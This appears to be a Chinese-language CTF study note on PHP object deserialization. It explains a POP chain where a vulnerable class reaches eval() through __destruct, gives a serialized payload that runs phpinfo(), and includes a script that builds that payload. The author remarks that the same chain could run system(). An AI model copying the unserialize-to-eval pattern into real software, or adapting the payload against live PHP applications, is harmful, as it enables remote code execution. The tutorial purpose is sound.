这几天一直在看的点，终于弄明白一点点。
愚见，只是从接触的ctf题目来看，php反序列化就是将
原来给php中的代码中的变量赋值，最终使得代码的执行跳到危险的函数上面去执行危险代码
先来说先知上的一个帖子的：
//bugkutest.php
<?php
class example
{
public $handle;
function __destruct()
{
$this->funnnn();
}
function funnnn()
{
$this->handle->close();
}
}
class process
{
public $pid;
function close()
{
eval($this->pid);
}
}
// if (isset($_GET['data'])) {
// $user_data = unserialize($_GET['data']);
// }
$b = 'O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}';
$a = unserialize($b);
?>
先知上的师傅也分析的很详细了，我就不多啰嗦了，简单说一下逻辑
目的是去执行process类里面的close方法，里面的eval函数，众所周知可以去执行函数，如phpinfo(),system()，之类的。
而如果eval中的参数pid是可控的，相当于一个一句话了。
那么怎么样让函数跳到process里面的close嘞
看example类里面的代码，有一个变量handle。
然后看funnnn方法里,handle->close()，handle去执行close函数了
也就是handle变量得是process的对象，也就是new process()
至于funnn函数怎么调用执行，就是魔术方法__destruct()了，在对象销毁时会自动执行的方法。
所以逻辑就是，给变量赋值，令handle = new process(),pid="phpinfo();"，然后再去new example()就行了。
先知上的师傅给过payload了，我再其代码上做了实验
//shell.php
<?php
class example
{
public $handle;
// function __construct()
// {
// $this->handle = new process();
// }
}
class process
{
public $pid;
// function __construct()
// {
// $this->pid = 'phpinfo();';
// }
}
$test = new example();
$test->handle = new process();
$test->handle->pid = "phpinfo();";
// O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
//第一版，源shell.php
//
// O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
// 第二版，将example中的函数赋值注释掉，用23行的赋值方式
//
// O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
// 第三版，在第二版的基础上，将process中的函数赋值注释掉，改为直接赋值为phpinfo();
//
// O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
//第四版，也就是当前执行的代码
echo serialize($test);
?>
根据先知上师傅的代码，函数是在魔术方法__construct()里面完成赋值的（在类实例化的时候自动执行的方法）
我想了想，既然都是赋值，直接赋值也是可以的吧...
一开始是在类里面直接赋值pid，得出的序列化字符串是一样的
尝试在类中直接赋值handle=new process()会报错,php不是很懂，猜测在example类中是没有process类的定义的，应该是这样吧...（不是重点）。不过既然在类中赋值出错，我就拿出来赋值。
在example类和process类中，只定义两个public变量。
$test = new example();
$test->handle = new process();
$test->handle->pid = "phpinfo();";
先new一个对象example，将handle赋值new 一个process，然后将pid赋值。
$test->handle->pid = "phpinfo();";//这样的格式像链表
果然，这样最后得出的序列化字符串也是一样的，也就是可以反序列化执行phpinfo的
smile师傅的，写的很好，我写的太粗糙了hhh
并且给出了pop链的定义（pop chain）
